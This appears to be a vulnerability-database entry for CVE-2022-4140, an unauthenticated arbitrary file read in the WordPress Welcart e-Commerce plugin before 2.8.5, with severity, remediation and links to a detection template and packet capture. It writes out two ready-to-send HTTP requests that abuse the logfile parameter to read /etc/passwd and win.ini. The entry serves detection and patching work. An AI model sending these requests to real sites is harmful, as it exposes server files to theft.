🔙 목록으로 돌아가기

CVE-2022-4140: WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access

TitleWordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access
Authortheamanrawat
SeverityHigh
ImpactAn attacker can access sensitive files on the server, potentially exposing sensitive information.
RemediationFixed in version 2.8.5.
CVSS Score7.5
EPSS Score0.67923
CVE IDCVE-2022-4140
CWE IDCWE-552
Tags cve cve2022 usc-e-shop wpscan wp-plugin wp wordpress lfi unauthenticated collne vuln

🔍 Vulnerability Description

WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4140.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4140.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A